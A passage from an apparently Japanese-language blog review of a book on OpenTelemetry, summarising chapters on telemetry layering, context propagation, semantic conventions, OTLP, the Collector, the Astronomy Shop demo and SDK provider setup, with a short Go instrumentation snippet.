Context)は、各テレメトリが表すものを説明する様々なメタデータです。これには、顧客ID、リクエストを処理したロードバランサのホスト名、テレメトリデータのタイムスタンプなどが含まれます。ソフトコンテキストは、ハードコンテキストほど明示的ではありませんが、データの解釈に役立ちます。ソフトコンテキストは、テレメトリデータに固有の次元を追加し、そのデータが何を表しているのかを説明するのに役立ちます。また、著者はテレメトリのレイヤリングの重要性についても言及しています。Figure 2-4. An illustration of layered signals. A histogram measures API latency, with exemplars linking to specific traces, and with those traces linking to profiles or logs to get component- or function-level insights. より引用メトリクス、トレース、ログなどの異なるシグナルを補完的に使用し、適切な抽象度でシステムの動作を測定することで、より深い洞察が得られるというのです。メトリクスは統計情報を提供し、トレースは個々のリクエストの詳細を示し、ログはイベントの記録を提供します。単一の \\"dense\\" なシグナルを他の形式に変換するのではなく、各レイヤーに適したテレメトリを生成し、コンテキストを介してそれらのシグナルをリンクすることが重要だと指摘しています。そうすることで、システムについて知りもしなかった疑問に答えられるようになるのです。例えば、メトリクスでAPIのレイテンシの異常を検知し、exemplar(代表例)を通じて関連するトレースを特定し、そのトレースからプロファイルやログにリンクすることで、コンポーネントやファンクションレベルの詳細な洞察を得ることができます。さらに、セマンティックテレメトリ(Semantic Telemetry)という概念も紹介されています。これは、テレメトリデータに意味的な情報を付与することを指します。OpenTelemetryは、自己記述的で移植可能なテレメトリデータを提供することで、あらゆる可観測性フロントエンドで活用できるようにしています。例えば、OpenTelemetryのメトリックポイントには、メトリックの粒度や各属性の説明などのメタデータが含まれています。これにより、フロントエンドはメトリッククエリをより適切に可視化し、測定値の名前だけでなく、実際に何を測定しているのかを検索できるようになります。セマンティックテレメトリにより、開発者はデータの表現や分析方法に縛られることなく、必要な情報にアクセスできるようになります。著者は、OpenTelemetryがシステムを理解するための進化的なステップであり、可観測性の概念を定義し統一するための過去20年間の取り組みの集大成だと述べています。本章では、開発者、オペレーター、チーム、組織など、様々なステークホルダーの観点から、OpenTelemetryの価値について論じられています。開発者にとってOpenTelemetryは、言語、ランタイム、クラウドなどを問わず、高品質で広範なテレメトリを一貫した方法で生成するための手段です。OpenTelemetryは、テレメトリをソフトウェアの組み込み機能にすることを目指しており、その目標を達成しつつあります。オペレーターにとっては、膨大なデータから重要なシグナルを見つけ出し、システムの信頼性と回復性を確保するための強力なツールとなります。特に、クラウド環境では、ワークロードが実行されるノードが頻繁に変更されるため、障害の原因特定が極めて困難になります。OpenTelemetryは、そのような環境でもテレメトリデータを効果的に収集・分析するための仕組みを提供します。チームや組織にとっては、ベンダーロックインを防ぎ、既存の計装との互換性を確保するオープンな標準がメリットです。独自のソリューションに依存することは、コストや柔軟性の面でリスクがあります。オープンな標準とオープンソースは、リスクを軽減するだけでなく、将来に備えるためにも不可欠だと著者は主張しています。OpenTelemetryは、テレメトリデータを商品化し、その未来を実現するために尽力しているのです。最後に、OpenTelemetryが可観測性の課題を解決する理由として、普遍的な標準と相関データの2つが挙げられています。OpenTelemetryは、高品質で普遍的なテレメトリを生成するための標準的な方法を提供し、ベンダーロックインを排除します。すでに主要なクラウドプロバイダーやオブザーバビリティプラットフォームがOpenTelemetryをサポートしており、その採用は避けられない流れになっています。また、OpenTelemetryのデータは、単なるトレース、メトリクス、ログの寄せ集めではありません。それらはすべて同じデータ構造の一部であり、システム全体を記述する単一のグラフとして時間とともに関連付けられているのが特徴です。OpenTelemetryは、オペレーターがシステムを調査する際のワークフローを効果的にモデル化し、相関関係を見つけ出すための機械学習を活用するために、この統合されたデータが不可欠だと考えているのです。OpenTelemetryがもたらす可観測性の未来ソフトウェアエンジニアである私にとって、OpenTelemetryは非常に興味深いプロジェクトです。複雑化するシステムを運用する上で、可観測性は欠かせない要素となっています。特に、マイクロサービスアーキテクチャやクラウドネイティブの普及に伴い、システムの動作を把握することがますます難しくなっているのを実感しています。OpenTelemetryは、その課題を解決するための有望なアプローチであり、業界標準となる可能性を秘めていると感じました。統一されたテレメトリ、コンテキストの伝播、レイヤリング、セマンティックテレメトリなど、OpenTelemetryの提供する概念は、可観測性を向上させるための重要な指針になるはずです。本書を通じて、OpenTelemetryの理念と実践方法をしっかりと学び、自身の開発・運用プラクティスに活かしていきたいと思います。Chapter 3. OpenTelemetry Overview本章を読んで、OpenTelemetryが提供する統一された可観測性データのモデルとその重要性について理解を深めることができました。冒頭の \\"You can\'t communicate complexity, only an awareness of it.:複雑さを伝えることはできず、それを認識することしかできません。\\" という言葉が印象的でした。現代のクラウドネイティブなソフトウェアシステムは非常に複雑であり、その複雑さをそのまま伝えることは不可能です。しかし、OpenTelemetryは、システムの動作を把握し、その複雑さを認識するための強力なツールを提供してくれます。OpenTelemetryの主要コンポーネント本章では、OpenTelemetryのモデルを構成する主要なコンポーネントについて詳しく解説されています。OpenTelemetryは、トレース、メトリクス、ログという3つの主要な可観測性シグナルを扱います。これらのシグナルは、分散システムにおけるリクエストの流れや、システムの状態、イベントの記録を表現するための手段であり、OpenTelemetryはこれらを統一的かつ効果的に扱うためのデータモデルを提供しているのです。Figure 3-1. A high-level model of OpenTelemetry より引用トレースは、分散システムにおける一連の処理の流れを表現するための重要な機能です。OpenTelemetryのトレースは、スパンと呼ばれる個々のログの集まりとして構成され、これらのスパンがトレースコンテキストを介して関連付けられることで、エンドツーエンドのトランザクションを表現します。各スパンには、名前、開始時間と終了時間、属性、イベント、リンク、ステータスなどの情報が含まれており、これらを組み合わせることでリクエストの詳細な流れを追跡できます。Figure 3-2. A basic payment application for a store. The trace underneath describes a payment request より引用トレースは、エンドユーザーのエクスペリエンスをモデル化するのに最適なシグナルです。1つのトレースが1人のユーザーのシステム内の経路に対応するため、パフォーマンスの問題を特定しやすくなります。また、複数のトレースを集約して分析することで、さまざまな角度からシステムのパフォーマンス特性を把握することもできます。一方、メトリクスは、システムの状態を数値化してモニタリングするための機能です。OpenTelemetryのメトリクスは、開発者が意味のあるイベントを定義し、そのイベントがどのようにメトリックシグナルに変換されるかを指定できるように設計されています。これにより、オペレーターはコストやデータ量、解像度を制御しながら、メトリックの収集と集約を柔軟に行うことができます。メトリックには、カウンター、ゲージ、ヒストグラムなどの種類があり、それぞれがシステムの異なる側面を測定するのに適しています。例えば、あるサービスが受信したリクエストのサイズをバイト単位で記録するメトリックを定義し、そのイベントに対して、一定期間の最大値を求めたり、属性ごとの合計値を算出したりするようなアグリゲーションを適用できます。こうした柔軟なメトリックの処理は、OpenTelemetryの大きな強みの一つです。また、OpenTelemetryのメトリックには、エグゼンプラー(Exemplar)という特殊なハードコンテキストが用意されています。これにより、メトリックのイベントを特定のスパンやトレースにリンクさせ、より詳細なコンテキストを提供することができます。エグゼンプラーを活用することで、メトリックとトレースを効果的に組み合わせたテレメトリのレイヤリングが可能になります。ログについては、OpenTelemetryは既存のロギングAPIとの互換性を重視しつつ、ログをトレースやメトリクスと関連付けることでその価値を高めています。分散システムでは、ログが異なるコンポーネントから収集され、別々のツールで集約されることが多いため、因果関係を把握するのが難しいという課題がありました。OpenTelemetryは、ログにトレースコンテキストを付与し、メトリクスやトレースへのリンクを提供することで、この課題に対処しているのです。OpenTelemetryにおけるログの主な用途は、トレース化できないレガシーシステムからシグナルを取得すること、インフラストラクチャリソースとアプリケーションイベントを関連付けること、定期的なバッチ処理のような非ユーザーリクエストの動作を理解すること、他のシグナルへの変換を行うことなどが挙げられます。OpenTelemetryのコンテキスト伝播本章で特に重要な概念は、コンテキストです。OpenTelemetryにおけるコンテキストは、テレメトリデータを関連付けるためのメタデータであり、ハードコンテキストとソフトコンテキストの2種類に分けられます。ハードコンテキストは、トレースIDなどの一意の識別子を通じてサービス間の因果関係を明示的に関連付けるものであり、ソフトコンテキストは、各テレメトリが表す情報を説明する属性や資源情報などを指します。Figure 3-3. Context flows between services and within a service (inter-service versus intra-service propagation) より引用OpenTelemetryの中核をなすのが、こうしたコンテキストを伝播させるための仕組みです。OpenTelemetryでは、プロパゲーターと呼ばれるコンポーネントを使って、コンテキストを異なるプロセス間で受け渡しします。リクエストが開始されると、OpenTelemetryは登録されたプロパゲーターに基づいてそのリクエストの一意の識別子を生成します。この識別子がコンテキストに追加され、シリアライズされて次のサービスに送信されます。受信側のサービスはそれをデシリアライズし、ローカルのコンテキストに追加します。これにより、分散トレーシングにおけるスパン間の関係性を維持したまま、テレメトリデータを収集・伝送することができるのです。プロパゲーターは、W3C Trace Contextのようなハードコンテキストだけでなく、Baggageと呼ばれるソフトコンテキストの値も伝播させることができます。Baggageは、顧客IDやセッションIDのような、他のシグナルに付与したい値を、それが作成された場所から、システムの他の部分に伝送するためのメカニズムです。ただし、一度追加されたBaggageは削除できず、外部システムにも伝播されるため、その使用には注意が必要です。コンテキストに含まれるもう一つの重要な要素が、属性(Attribute)とリソース(Resource)です。属性は、テレメトリデータが表す内容を説明するためのキーと値のペアであり、OpenTelemetryにおけるメタデータの基本的な形式です。属性を使うことで、テレメトリデータを特定の次元でフィルタリングしたり、グループ化したりすることができます。属性には、文字列、真偽値、数値などのシンプルな値を割り当てることができます。また、同じ型の値の配列を割り当てることもできますが、属性のキーは一意でなければならないという制約があります。属性の数は無制限ではなく、デフォルトでは1つのテレメトリデータにつき最大128個に制限されています。これは、属性の作成やアサインにはコストがかかるためであり、また、メトリックに属性を追加する際には、時系列データベースへの書き込み時にカーディナリティ爆発を引き起こす可能性があるためです。カーディナリティ爆発を防ぐには、可観測性パイプラインやビューを使ってメトリックのカーディナリティを削減したり、高カーディナリティの属性をメトリックから除外してスパンやログに使用したりするのが効果的です。リソースは、属性の特殊なタイプで、プロセスの存続期間中は変化しない情報を表します。ホスト名やクラウドプロバイダーのゾーン、Kubernetesのノード名などがリソース属性の例です。また、セマンティック規約も重要な概念です。OpenTelemetryは、属性のキーや値に関する一貫した規約を定めることで、テレメトリデータの解釈を容易にし、異なるシステム間での相互運用性を高めています。これらの規約は、OpenTelemetryプロジェクト自体が提供するものと、各組織が独自に定義するものの両方があります。セマンティック規約を活用することで、開発者は意味のある属性を使ってテレメトリデータを記述し、オペレーターはそのデータを一貫した方法で分析できるようになります。例えば、OpenTelemetryのセマンティック規約では、HTTPルートの命名規則、サーバーレスの実行環境情報、pub-subメッセージングのキュー方向などが定義されています。こうした規約に従うことで、異なるサービスや環境から収集されたテレメトリデータを統一的に扱うことができます。OpenTelemetryのもう一つの重要な特徴は、OpenTelemetry Protocol (OTLP)の存在です。OTLPは、テレメトリデータを異なるコンポーネント間で効率的かつ柔軟に伝送するための標準的なデータフォーマットとプロトコルであり、多様な生成者と消費者に対して大きなメリットをもたらします。生成者は既存のフォーマットからOTLPへの変換レイヤーを介してOpenTelemetryと統合できるようになり、消費者は特定のベンダーに縛られることなく、幅広いオープンソースおよび商用ツールとのインターフェースを確保できます。OTLPは、バイナリとテキストベースの両方のエンコーディングをサポートしており、CPUとメモリの使用量を抑えることを目指しています。また、新しいシグナルが追加された場合にも、レガシーのレシーバーとエクスポーターとの下位互換性を維持するよう設計されているため、長期的な投資の保護にもつながります。Figure 3-6. An example of a schema-aware telemetry system より引用最後に、OpenTelemetryのバージョニングと安定性についても言及されています。OpenTelemetryでは、厳密なバージョニングと安定性のガイドラインが定められており、ユーザーは長期的なサポートとスムーズなアップグレードを期待できます。また、テレメトリスキーマの概念を通じて、セマンティック規約の変更に柔軟に対応することも可能です。スキーマを認識するバックエンドを構築したり、OpenTelemetry Collectorでスキーマ変換を行ったりすることで、分析ツールで新しいセマンティック規約のサポートを活用しつつ、既存のサービスの再計装やテレメトリ出力の再定義を行わずに済むようになります。OpenTelemetryのバージョニングは、v1.0ラインに沿って継続的に更新されていきます。APIとSDKの安定性についても、明確なポリシーが定められています。例えば、安定版のAPIには12ヶ月間のバグ修正サポートと24ヶ月間のセキュリティサポートが提供されます。こうした長期的なサポート体制により、ユーザーは安心してOpenTelemetryを採用し、継続的に活用していくことができるのです。SREにとってのOpenTelemetryの意義SREの立場から見ると、OpenTelemetryの登場は大きな意味を持ちます。複雑化するシステムを運用する上で、可観測性は欠かせない要素です。しかし、従来のアプローチでは、異なるシグナルを別々のツールで収集・分析する必要があり、システム全体の把握が難しいという課題がありました。OpenTelemetryは、トレース、メトリクス、ログを統一的に扱うためのデータモデルを提供し、コンテキストの伝播によってそれらを関連付けることで、この課題に対処しようとしています。単一障害点の特定、パフォーマンスボトルネックの分析、異常検知など、SREが日々直面する課題に対して、OpenTelemetryの統一されたテレメトリデータは大きな力を発揮するはずです。また、分散トレーシングを活用することで、マイクロサービス間の複雑な相互作用を可視化し、問題の根本原因を素早く特定することもできます。加えて、OpenTelemetryのセマンティック規約は、SREにとって大きなメリットをもたらします。規約に沿ったテレメトリデータを活用することで、サービスのSLOを定義したり、システム全体のヘルスを評価したりするための指標を統一的に扱えるようになります。これは、複数のチームやサービスが関わる大規模なシステムの運用において特に重要な意味を持ちます。また、OpenTelemetryがベンダー中立であることも見逃せません。クラウドプロバイダーやオブザーバビリティツールの乗り換えを検討する際に、テレメトリデータの継続性や移植性が確保されるのは大きなメリットです。特定のベンダーに縛られることなく、柔軟にツールを選択し、組み合わせることができるのです。セマンティック規約やOTLPのような標準化の取り組みは、ベンダーロックインを回避し、相互運用性を高めるために重要です。マイクロサービスアーキテクチャやクラウドネイティブ環境が普及する中で、オープンでポータブルな可観測性データは、SREにとって不可欠な資産となるでしょう。本章を通じて、OpenTelemetryが提供する可観測性データのモデルとその設計思想について深く理解することができました。トレース、メトリクス、ログの統一、コンテキストの伝播、セマンティック規約、標準プロトコル、安定性へのコミットメント。これらの要素が組み合わさることで、OpenTelemetryは現代の複雑なソフトウェアシステムに立ち向かうための強力な武器になると確信しました。私は今後、自身の開発や運用の現場において、OpenTelemetryを積極的に活用し、その効果を実感していくことを強く意識しています。この決意のもと、以下のような具体的な取り組みを計画しています。その過程を読者諸兄とも共有していきたい。既存のサービスへのOpenTelemetryの導入と、レガシーシステムとの統合分散トレーシングを活用したパフォーマンスの可視化と改善セマンティック規約に基づくSLOの定義とモニタリング自動化されたオブザーバビリティパイプラインの構築OpenTelemetryを活用したサービスマップやトポロジーの可視化AIを活用した異常検知やパフォーマンス最適化への挑戦これらの取り組みを通じて、OpenTelemetryの真価を見極め、その可能性を最大限に活かしていきたいと思います。また、OpenTelemetryの進化を注視し、その発展に貢献する方法も積極的に探求していきます。オープンソースプロジェクトとしてのOpenTelemetryは、世界中の技術者が協力し合うことで、さらなる飛躍を遂げるでしょう。可観測性の未来を切り拓くOpenTelemetry。その可能性に大きな期待を寄せつつ、本書の続きを読み進めていきます。次章では、OpenTelemetryのコンポーネントの詳細と、それらがオブザーバビリティスタックにどのように適合するのかを探っていきます。Chapter 4. The OpenTelemetry Architecture本章を読んで、OpenTelemetryの全体像と、実際のアプリケーションにおける活用方法について理解を深めることができました。冒頭の \\"Everyone knows that debugging is twice as hard as writing a program in the first place. So if you\'re as clever as you can be when you write it, how will you ever debug it?:そもそもデバッグはプログラムを書くことの 2 倍難しいことは誰もが知っています。 では、できるだけ賢く書いたとしても、どうやってデバッグできるでしょうか?\\" という言葉が印象的でした。デバッグの難しさを考えると、可観測性の重要性は明らかです。OpenTelemetryは、アプリケーションやインフラストラクチャのデバッグを効率化するための強力なツールを提供してくれます。特に、大規模で複雑な分散システムにおいては、システムの動作を把握することが非常に難しくなります。そのような環境でこそ、OpenTelemetryの価値が発揮されるのだと感じました。OpenTelemetryのアーキテクチャ本章では、まずOpenTelemetryを構成する主要なコンポーネントについて解説されています。https://opentelemetry.io/docs/ より引用OpenTelemetryは、アプリケーション内に組み込まれる計装、インフラストラクチャ用のエクスポーター、そしてテレメトリデータをストレージシステムに送信するためのパイプラインコンポーネントから構成されています。これらのコンポーネントが連携することで、エンドツーエンドの可観測性が実現されるのです。アプリケーションレベルでは、ライブラリの計装とOpenTelemetry APIを使った手動の計装の2つのアプローチがあります。Figure 4-2. OpenTelemetry application architecture より引用多くの場合、フレームワークやデータベースクライアントなどのライブラリレベルでの計装だけでも、アプリケーションの動作を把握するのに十分なテレメトリデータが得られます。これは、OpenTelemetryがポピュラーなOSSライブラリに対する計装を豊富に提供しているためです。開発者は、これらのライブラリを使うだけで、特別なコードを書くことなくテレメトリデータを収集できるようになります。さらに、OpenTelemetry SDKを導入することで、これらのライブラリやアプリケーションコードからのAPIコールを実際に処理し、サンプリングやエクスポートを行うことができます。SDKはプラグイン式のフレームワークで、サンプリングアルゴリズムやライフサイクルフック、エクスポーターなどをYAML設定ファイルや環境変数で柔軟に構成できます。開発者は、必要に応じてSDKの機能を拡張し、自分たちのユースケースに合わせたテレメトリパイプラインを構築できるのです。ただし、ライブラリの計装だけでは不十分な場合もあります。ビジネスロジックに関連する重要なメトリクスを収集したり、より詳細なコンテキスト情報をテレメトリデータに付与したりするためには、OpenTelemetry APIを使った手動の計装が必要になります。特筆すべきは、OpenTelemetry APIが、OpenTelemetryが組み込まれていない環境でも安全に呼び出せるよう設計されていることです。つまり、OSSライブラリの開発者は、OpenTelemetryの計装をライブラリに含めておくことで、そのライブラリを使うアプリケーションがOpenTelemetryを採用しているかどうかに関わらず、シームレスにテレメトリデータを収集できるようになるのです。一方、インフラストラクチャのテレメトリも重要です。OpenTelemetryは、Kubernetesやクラウドサービスへの統合を進めており、既存のテレメトリデータをOpenTelemetryのパイプラインに取り込むためのコンポーネントも提供しています。例えば、Kubernetesのメトリクスを収集するためのレシーバーや、AWSのCloudWatchLogsからログデータを取り込むためのエクスポーターなどが提供されています。これらのコンポーネントを活用することで、インフラストラクチャ層とアプリケーション層のテレメトリを統合し、より包括的な可観測性を実現できます。テレメトリパイプラインについては、OpenTelemetry Protocol (OTLP)とOpenTelemetry Collectorが中心的な役割を果たします。大規模な分散システムでは、膨大な量のテレメトリデータが生成されるため、ネットワークの負荷分散やバックプレッシャーなどの課題に対処する必要があります。OpenTelemetry Collectorは、データの収集、処理、エクスポートを柔軟かつ効率的に行うための機能を提供します。現段階で「OpenTelemetry Collectorってなに?」と思った方はkatzchangさんの『入門 OpenTelemetry Collector』をとりあえず、聞いておいてください。cloudnativedays.jp具体的には、Collectorは複数のフォーマット(OTLP、Jaeger、Prometheus、その他の商用/独自ツールなど)でテレメトリデータを受信し、1つ以上のバックエンドにデータを送信できます。また、Collectorはプラグイン式のアーキテクチャを採用しており、受信したデータに対してフィルタリング、属性の追加・削除、サンプリング、バッチ処理などの様々な処理を適用できます。これらの処理をCollectorで集中的に行うことで、アプリケーションへのオーバーヘッドを最小限に抑えつつ、必要なデータを効率的にバックエンドに送信できるようになります。Collectorのもう一つの重要な役割は、テレメトリデータのセマンティクスを保証することです。Collectorは、OpenTelemetryのセマンティック規約に基づいて、受信したデータの属性をOpenTelemetryの標準的な属性にマッピングします。これにより、異なるフォーマットから収集されたデータを統一的に扱えるようになり、分析ツールやダッシュボードでのデータの解釈が容易になります。OpenTelemetryを活用したデモアプリケーション本章では、OpenTelemetryの実際の活用例として、Astronomy Shopというデモアプリケーションが紹介されています。このデモアプリケーションは、マイクロサービスベースのeコマースアプリケーションで、14の独立したサービスから構成されています。github.comデモアプリケーションのアーキテクチャは、ビジネスロジックを扱うアプリケーションコンポーネントと、可観測性に関連するコンポーネントに大別できます。アプリケーションコンポーネントには、注文処理を担うCheckout Service、在庫管理を行うInventory Service、決済を処理するPayment Serviceなどが含まれます。一方、可観測性に関連するコンポーネントとしては、データの収集・変換を行うOpenTelemetry Collector、ストレージとクエリを担うJaegerやPrometheus、可視化のためのGrafanaなどが含まれます。opentelemetry.ioこれらのサービス間の通信には、gRPCが使用されています。gRPCは、Protocol Buffersを利用した効率的なバイナリ通信プロトコルで、特にマイクロサービス間の通信に適しています。OpenTelemetryは、gRPCのクライアントとサーバーの両方に対する計装ライブラリを提供しているため、gRPCを使ったサービス間通信からも豊富なテレメトリデータを収集できます。これは、OpenTelemetryとgRPCを組み合わせるだけで、ある程度の可観測性が \\"無料で\\" 手に入ることを意味しています。デモアプリケーションを使って、OpenTelemetryによるアプリケーションパフォーマンスの管理方法を実践的に学ぶことができます。例えば、Feature Flag UIを使ってある特定のサービスにエラーを発生させ、そのエラーがどのようにトレースされ、Grafanaのダッシュボードに反映されるかを確認できます。OpenTelemetryが提供するスパンメトリクスを活用することで、エラーが発生しているサービスやルートを特定し、根本原因の調査に役立てることができます。スパンメトリクスは、トレースデータからメトリクスを生成する仕組みで、OpenTelemetry Collectorの spanmetrics プロセッサを使って実現されます。これにより、個々のトランザクションの詳細を捨象しつつ、システム全体のパフォーマンスを俯瞰的に理解することができるようになります。デモアプリケーションでは、トレースデータを使った柔軟な分析方法も示されています。GrafanaのExploreビューでは、Jaegerに保存されたトレースデータを検索し、特定のスパンに関連するエラーを調査できます。例えば、oteldemo.AdService/GetAdsというスパンに着目することで、広告サービスの特定のルートで発生しているエラーを発見できました。こうした分析は、メトリクスだけでは難しいものです。トレースデータは、個々のリクエストに関する詳細なコンテキストを提供するため、パフォーマンスの問題を特定するための強力な手がかりとなります。ただし、フレームワークレベルの自動計装だけでは、こうした詳細な分析には限界があります。アプリケーション特有のビジネスロジックに関連する情報を取得するためには、カスタム計装が必要になります。デモアプリケーションでは、gRPCの計装に加えて、ビジネスロジックに関連するメタデータをスパンに付加することで、より詳細な分析が可能になっています。例えば、Product Catalog Serviceでは、GetProductメソッドのスパンにapp.product.id属性を追加しています。func (p *productCatalog) GetProduct(ctx context.Context, req *pb.GetProductRequest) (*pb.Product, error) { span := trace.SpanFromContext(ctx) span.SetAttributes(attribute.String(\\"app.product.id\\", req.Id)) // ...}opentelemetry.ioこれにより、特定の商品IDに関連するエラーを検出し、トラブルシューティングを効率化できます。こうしたカスタム属性は、ドメイン知識に基づいて開発者自身が定義する必要がありますが、それだけの価値は十分にあるでしょう。デモアプリケーションでは、OpenTelemetry Collectorを活用したオブザーバビリティパイプラインも実装されています。各サービスからCollectorにデータをプッシュすることで、アプリケーションレベルでの処理オーバーヘッドを最小限に抑えつつ、フィルタリングやバッチ処理、メトリックビューの作成などを柔軟に行うことができます。この手法には、いくつかの利点があります。まず、テレメトリデータをアプリケーションから可能な限り早く送信することで、予期せぬ負荷による影響を最小限に抑えられます。また、Collectorでデータの処理を集中化することで、ネットワークのトラフィックを削減し、バックエンドへの負荷を分散させることができます。ただし、あまりにも大量のテレメトリを生成すると、ローカルネットワークを圧迫し、別の層でパフォーマンスの問題を引き起こす可能性もあります。状況に応じて適切なバランスを見極める必要があるでしょう。最後に、OpenTelemetryがもたらす新しい可観測性モデルについて議論されています。従来の「Three Pillars」モデルとは異なり、OpenTelemetryはトレース、メトリクス、ログ、リソースを単一のデータモデルに統合します。これにより、高度に相関性のある均一で高品質なデータが得られるようになります。Figure 4-12. The new model of observability tools より引用OpenTelemetryは、あらゆるソースからのテレメトリを統合し、OTLPを介して(少なくとも)1つのデータストアに送信するための普遍的な基盤となります。これにより、ビジネスにとっての価値や実現したいユースケースに基づいて、テレメトリストリームを柔軟に処理・送信できるようになります。将来の可観測性プラットフォームでは、ユニバーサルクエリAPI、自然言語検索、AIアシスタントとの統合、データポータビリティに基づく柔軟なツール選択などの機能が提供されるでしょう。OpenTelemetryは、そうした未来の高コンテキストなデータと、それを理解するためのツールを実現するための重要な構成要素なのです。実際、OpenTelemetryの登場以降、新しい可観測性ツールが続々と登場しています。これらのツールの多くは、OpenTelemetryを唯一の計装手段として採用しており、オープンソースのカラムストアをベースに構築されています。こうしたツールは、OpenTelemetryが提供する高コンテキストなテレメトリデータを効果的に活用するのに適しています。さらに、MicrosoftやAmazon Web Servicesなどの大手クラウドプロバイダーもOpenTelemetryを積極的にサポートし始めています。MicrosoftはAzure Monitorの一部としてOpenTelemetryをサポートし、AWSはEKSアプリケーション用のOpenTelemetryベースのAPMエクスペリエンスを発表しました。OpenSearchやClickHouseなどのオープンソースツールも、OpenTelemetryデータのストレージとして人気が高まっています。こうした動きは、OpenTelemetryが業界標準になりつつあることを示しています。本章を通じて、OpenTelemetryのアーキテクチャと、実際のアプリケーションにおける活用方法について深く理解することができました。アプリケーションとインフラストラクチャの両方から収集されたテレメトリを統合し、パイプラインを通じて効率的に処理・送信するためのコンポーネントの役割が明確になりました。OpenTelemetryは、分散システムの可観測性を実現するための包括的なソリューションであり、その設計思想は非常に合理的で説得力があります。また、デモアプリケーションを通じて、自動計装とカスタム計装を組み合わせることで、アプリケーションのパフォーマンス管理やトラブルシューティングをどのように強化できるかを実践的に学ぶことができました。OpenTelemetryのスパンメトリクスや、セマンティックに豊富なテレメトリデータは、複雑な分散システムの動作を理解するための強力な武器となります。OpenTelemetryによる可観測性データの統一性と相関性特に印象的だったのは、OpenTelemetryがもたらす可観測性データの統一性と相関性です。従来のように、メトリクス、ログ、トレースが別々のシステムで管理されていては、システム全体の動作を俯瞰的に理解することは困難です。OpenTelemetryは、これらのデータを単一のモデルに統合することで、より深い洞察を可能にします。データ間のつながりが明確になれば、パフォーマンスの問題の根本原因を特定したり、異常を早期に検知したりすることが容易になるでしょう。そして何より、OpenTelemetryが可観測性の新しいモデルを切り拓いていることを実感しました。従来の縦割りのアプローチを脱却し、テレメトリデータの相関性と統一性を追求することで、より深い洞察が得られるようになるでしょう。それは、我々ソフトウェアエンジニアやSREにとって、システムの理解とデバッグを飛躍的に向上させてくれるはずです。本章で得られた知見を基に、次章以降ではOpenTelemetryのより具体的な活用方法について学んでいきます。アプリケーション、ライブラリ、インフラストラクチャへの計装、テレメトリパイプラインの設計、組織へのオブザーバビリティの展開など、実践的なアドバイスが満載です。OpenTelemetryの導入に向けてOpenTelemetryを導入する際のチェックリストが本章で提供されています。このチェックリストには、主要なライブラリの計装状況、SDKへのプロバイダの登録、エクスポーターの設定、伝播形式の選択、SDKとCollector間のデータ送信、Collectorと分析ツール間のデータ送信、リソース属性の設定、トレースの完全性と連続性など、多岐にわたる項目が含まれています。ただし、チェックリストをなぞるだけでは不十分です。自分たちのシステムの特性をよく理解し、OpenTelemetryをどう活用すべきかを見極める必要があります。例えば、サービスの規模や複雑性、パフォーマンス要件、障害時の影響度などを考慮し、適切なサンプリングレートや収集するテレメトリデータの種類を決定する必要があります。また、既存の監視システムとの連携方法や、運用プロセスへの組み込み方なども検討しなければなりません。可観測性の未来を切り拓くOpenTelemetry。その真価を見極め、自身の開発・運用プラクティスに活かしていくことが、これからのエンジニアリングに求められているのだと感じました。分散システムの複雑さが増す中で、我々ソフトウェアエンジニアに求められるスキルセットも変化しています。もはや、個々のサービスを深く理解するだけでは不十分です。システム全体を俯瞰し、サービス間の相互作用を追跡し、データの流れを把握する。そうした能力が、これからのソフトウェアエンジニアには必要不可欠になるでしょう。Chapter 5. Instrumenting Applications本章を読んで、OpenTelemetryを実際のアプリケーションに導入する際の具体的な手順と考慮点について理解を深めることができました。冒頭の \\"It is easier to write an incorrect program than understand a correct one.:正しいプログラムを理解するよりも、間違ったプログラムを書く方が簡単です。\\" 。アプリケーションの動作を正確に理解することの難しさを表していると同時に、OpenTelemetryによる可観測性の重要性を示唆しているように感じました。OpenTelemetryのセットアッププロセス本章では、まずOpenTelemetryのセットアッププロセスが2つのステップ、つまりSDKのインストールと計装(Instrumentation)で構成されることが説明されています。SDKは、テレメトリの処理とエクスポートを担当するOpenTelemetryクライアントであり、一方、計装は、OpenTelemetry APIを使ってテレメトリを生成するためのコードを指します。計装の自動化については、言語ごとに異なるアプローチが取られています。エージェントを使った完全な自動化を提供する言語もあれば、まったく自動化をサポートしない言語もあります。自動計装は、セットアッププロセスを大幅に簡略化できる一方で、カスタマイズの柔軟性は犠牲になるというトレードオフがあることを理解しておく必要があります。自動計装に関しては逆井さんの計測の手間を省きたい!OpenTelemetry に見る”自動計装”のイマがめちゃくちゃに良い資料なので読んでほしいです。 speakerdeck.comSDKのインストールでは、OpenTelemetry APIにプロバイダを登録することが重要です。プロバイダは、TracerProvider、MeterProvider、LoggerProviderの3つに分かれており、それぞれがトレース、メトリクス、ログの機能を実装しています。Figure 5-1. The TracerProvider framework より引用TracerProviderは、サンプラー、SpanProcessor、エクスポーターから構成されます。サンプラーは、トレースをサンプリングするためのアルゴリズムを提供し、SpanProcessorは、スパンの加工や送信を制御します。エクスポーターは、テレメトリデータをバックエンドに送信する際のフォーマットと宛先を定義します。Figure 5-2. The MeterProvider framework より引用MeterProviderは、ビュー、MetricReader、MetricProducer、MetricExporterから構成されます。ビューは、メトリックのカスタマイズを可能にし、MetricReaderは、メトリックデータの収集とバッファリングを行います。MetricProducerは、サードパーティの計装とのブリッジとして機能し、MetricExporterは、メトリックデータをバックエンドに送信します。Figure 5-3. The LoggerProvider framework より引用LoggerProviderは、LogRecordProcessorとLogRecordExporterから構成されます。これらは、ログデータの処理と送信を担当します。プロバイダの設定では、プロトコル、エンドポイント、ヘッダー、圧縮、タイムアウトなどの詳細な設定が可能です。特に、OTLPエクスポーターの設定は重要で、ローカルのCollectorにデータを送信する場合は、パフォーマンスを考慮して scheduledDelayMillis を小さな値に設定することが推奨されています。また、アプリケーションのシャットダウン時には、SDKのフラッシュ処理が欠かせません。これにより、バッファリングされたテレメトリデータが確実にエクスポートされ、データの欠落を防ぐことができます。カスタムプロバイダの実装についても言及されていますが、これは非常にまれなケースです。OpenTelemetryのAPIとSDKを分離することで、特殊な要件に対応できる柔軟性を確保しているのです。OpenTelemetryの設定のベストプラクティス本章では、設定のベストプラクティスについても詳しく説明されています。設定方法には、コード内での直接指定、環境変数の使用、YAMLファイルの利用の3つがあります。環境変数を使用することで、デプロイ時に設定を切り替えられるため、開発、テスト、本番環境に応じた柔軟な設定が可能になります。最近では、YAMLファイルによる設定が推奨されるようになっており、環境変数よりも簡潔で検証しやすいという利点があります。リモート設定の分野では、OpAMP(Open Agent Management Protocol)の開発が進められています。これにより、Collectorや 